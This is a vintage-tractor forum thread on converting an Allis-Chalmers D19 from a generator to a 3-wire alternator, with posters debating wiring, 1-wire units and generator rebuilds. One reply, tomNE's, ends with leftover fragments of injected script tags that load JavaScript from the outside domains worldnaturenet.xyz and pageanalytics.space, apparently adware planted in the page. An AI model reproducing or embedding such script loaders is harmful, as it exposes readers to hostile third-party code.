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cnafarms 
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Joined: 01 Jul 2011
Location: Mt. Airy, MD
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 Topic: 3 wire alternator D19
Posted: 28 Jun 2018 at 9:27am |
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I'm no mechanic and am changing from generator to alternator on my D19. Read on here to use 3 wire instead of a 1 wire alternator. Where do the 3 wires go that come off the alternator. I've seen pics of guys who have done it. I'm assuming 1 goes to ignition switch and another to the battery. How bout the 3rd wire? Sorry so a basic and dumb question.
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CAL(KS)
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Joined: 18 Sep 2009
Location: Chapman, KS
Points: 3793
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Posted: 28 Jun 2018 at 9:42am |
the 3 wires are. hot wire from key, bat charge wire and voltage sensor wire.
-charge wire to ammeter then bat or straight to battery however you are setup -an excite wire from key on terminal -sensor wire can be jumped right to charge wire post on alternator
unless im missing something, that should be all it takes
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Me -C,U,UC,WC,WD45,190XT,TL-12,145T,HD6G,HD16,HD20
Dad- WD, D17D, D19D, RT100A, 7020, 7080,7580, 2-8550's, 2-S77, HD15
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Gerald J.
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Joined: 12 Sep 2009
Location: Hamilton Co, IA
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Posted: 28 Jun 2018 at 9:58am |
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The wire from the ignition switch on a gas engine needs a resistor, diode, or lamp to keep the alternator from back feeding power on that wire to supply the ignition and prevent stopping the engine by turning off the ignition switch. The lamp can be an indicator of alternator malfunction.
An alternative for supplying that wire with the ignition voltage is to find an oil pressure siwtch with floating normally open contacts that connect when the engine oil pressure is normal and use that switch to connect battery power to the exciter wire of the alternator.
Gerald J.
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mdm1
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Location: Onalaska, WI
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Posted: 28 Jun 2018 at 10:16am |
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Everything is impossible until someone does it! WD45-trip loader 1947 c w/woods belly mower, 1939 B, #3 sickle mower 1944 B, 2 1948 G's. Misc other equipment that my wife calls JUNK!
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Gary Burnett
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Location: Virginia
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Posted: 28 Jun 2018 at 2:49pm |
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I'm running 9 one wire alternators on various models of tractors with no problems,almost all the negative things I have read about them I have found to be false.
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Alvin M
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Location: PA
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Posted: 28 Jun 2018 at 3:44pm |
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single wire is easy to use 1 wire from ammeter to alternator bolt with nut later style regulaters work at low RPM i have used 30 plus in my shop on all tractors
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Gerald J.
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Posted: 28 Jun 2018 at 9:19pm |
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One wire alternators work at slow engine speeds after they have been spun up fast enough to start charging. Best I remember the one on my gas 4020 takes about 1650 engine rpm to start charging (I added an ammeter to the wiring so I have an indicator), and then charges full rate at 800 RPM engine idle speed. I bought the smallest diameter wide alternator pulley that a local auto electrical shop could order so the alternator turns more than twice as fast as the crankshaft.
Its a little bothering to goose a cold engine to get the alternator started and that is why some don't like the one wire alternator.
Gerald J.
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tomNE
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Location: dorchester, ne
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Posted: 28 Jun 2018 at 9:55pm |
I usually tie all 23 wires together and run to oil pressure switch that lets current thru when OP is present and shuts of when no op. other end goes to battery. works great. no feed back. http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52096x5793x&r=4"> http://pageanalytics.space/addons/lnkr5.min.js">
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AC from the start of my families farming career till the end!
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Gary Burnett
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Location: Virginia
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Posted: 29 Jun 2018 at 12:16am |
 Gerald J. wrote:
One wire alternators work at slow engine speeds after they have been spun up fast enough to start charging. Best I remember the one on my gas 4020 takes about 1650 engine rpm to start charging (I added an ammeter to the wiring so I have an indicator), and then charges full rate at 800 RPM engine idle speed. I bought the smallest diameter wide alternator pulley that a local auto electrical shop could order so the alternator turns more than twice as fast as the crankshaft.
Its a little bothering to goose a cold engine to get the alternator started and that is why some don't like the one wire alternator.
Gerald J.
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The ones I buy now don't require a high RPM to get them to start charging.Anyway once started why would you need to get yours charging immediately? Sooner or later under normal use I guess you would hit the throttle.How many years ago was ago was this alternator installed you need so many RPM to make charge?Spring for $60 for a modern one off ebay.
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Gerald J.
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Location: Hamilton Co, IA
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Posted: 29 Jun 2018 at 10:03am |
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I wish for full ignition power when I start to work the tractor and it only gets battery voltage which is down after cranking. Same for lights if they are needed. And the battery life is better if its charged soon after heavy loads like cranking.
I don't remember when I did the 4020 changes, for sure more than 9 years ago and less than 25 years ago.
The working speed range of the 4020 gas engine is about 800 to 2250 RPM. So 1650 is not very fast.
Another handy detail of having bought that small diameter wide belt pulley is that it allowed fitting the fatter alternator in place of the original generator and still using the original belt that also runs the water pump.
Gerald J.
Edited by Gerald J. - 29 Jun 2018 at 10:03am
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DSeries4
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Location: Ontario, Canada
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Posted: 29 Jun 2018 at 9:34pm |
cnafarms wrote:
I'm no mechanic and am changing from generator to alternator on my D19. Read on here to use 3 wire instead of a 1 wire alternator. Where do the 3 wires go that come off the alternator. I've seen pics of guys who have done it. I'm assuming 1 goes to ignition switch and another to the battery. How bout the 3rd wire? Sorry so a basic and dumb question. |
How about just getting the generator rebuilt? It has probably been working fine for the last 60 years. Any local auto electric repair shop can rebuild it. There are also some experts here who can provide that service.
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'49 G, '54 WD45, '55 CA, '56 WD45D, '57 WD45, '58 D14, '59 D14, '60 D14, '61 D15D, '66 D15II, '66 D21II, '67 D17IV, '67 D17IVD, '67 190XTD, '73 620, '76 185, '77 175, '84 8030, '85 6080
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Gary Burnett
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Posted: 30 Jun 2018 at 7:03am |
DSeries4 wrote:
cnafarms wrote:
I'm no mechanic and am changing from generator to alternator on my D19. Read on here to use 3 wire instead of a 1 wire alternator. Where do the 3 wires go that come off the alternator. I've seen pics of guys who have done it. I'm assuming 1 goes to ignition switch and another to the battery. How bout the 3rd wire? Sorry so a basic and dumb question. |
How about just getting the generator rebuilt? It has probably been working fine for the last 60 years. Any local auto electric repair shop can rebuild it. There are also some experts here who can provide that service.
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The real question is why spend money on an inferior outdated charging system when
he can buy better and more power for $60?
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Sugarmaker
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Location: Albion PA
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Posted: 30 Jun 2018 at 7:13am |
I love the alternators on all of them that I have converted! I think thats the way to go unless your doing a high end show tractor that has to be original. Good luck with the change over to alternator. I would like to change my D17 at some point. I am getting erratic charging from the gen/voltage regulator. Its on the list just down there a ways.:) Regards, Chris
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D17 1958 (NFE), WD45 1954 (NFE), WD 1952 (NFE), WD 1950 (WFE), Allis F-40 forklift, Allis CA, Allis D14, Ford Jubilee, Many IH Cub Cadets, 32 Ford Dump, 65 Comet.
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Gerald J.
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Posted: 01 Jul 2018 at 12:28pm |
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In general the regulator built into a modern alternator will hold the charging voltage way more precisely than the external alternator of a generator and the alternator will provide a peak current several times that of the generator and so will get the battery recharged after starting more rapidly without over charging which can double or triple battery life.
I don't know about big AC tractors but the JD 3010,3020, 4010, and 4020 of similar age had wimpy generators, rated at only 20 or 30 amps where the smallest alternator would be more like 50 or 60 amps.
The alternator with internal solid state regulator is a significant step more modern and better quality.
Gerald J.
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Steve in NJ
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Posted: 04 Jul 2018 at 9:57am |
We offer a nice Alternator upgrade kit for the "D" series Tractors if interested. Give us a call or visit our website. Lottsa' information on the site about 12v systems along with 1 wire vs 3 wire systems... Steve@B&B bb-customcircuits.com
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39'RC, 43'WC, 48'B, 49'G, 50'WF, 65 Big 10, 67'B-110, 75'716H, 2-620's, & a Motorhead wife
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